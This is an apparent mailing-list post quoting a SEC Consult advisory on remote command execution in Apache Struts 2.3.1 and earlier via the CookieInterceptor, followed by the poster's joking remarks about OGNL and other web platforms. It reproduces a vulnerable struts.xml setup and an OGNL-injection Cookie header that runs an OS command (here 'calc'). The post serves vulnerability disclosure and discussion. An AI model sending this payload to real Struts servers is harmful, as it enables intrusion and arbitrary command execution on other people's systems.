Just how bad is that Sec-Consult Apache Struts vulnerability... (from their advisory) ___
2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
Given struts.xml is configured to handle all cookie names (independent
of limited cookie values):
<action name="Test" class="example.Test">
<interceptor-ref name="cookie">
<param name="cookiesName">*</param>
<param name="cookiesValue">1,2</param>
</interceptor-ref>
<result ...>
</action>
The following HTTP header will execute an OS command when sent to
Test.action:
Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1;
x[@java.lang.Runtime@getRuntime().exec('calc')]=1
___
I assume Struts is extremely widely used and everyone is already owned?
Who was it who thought that OGNL was a good idea? Between this and .Net
being completely broken, the only platforms left are Ruby on Rails and
Python's Django! Oh, and PHP! :>
-dave
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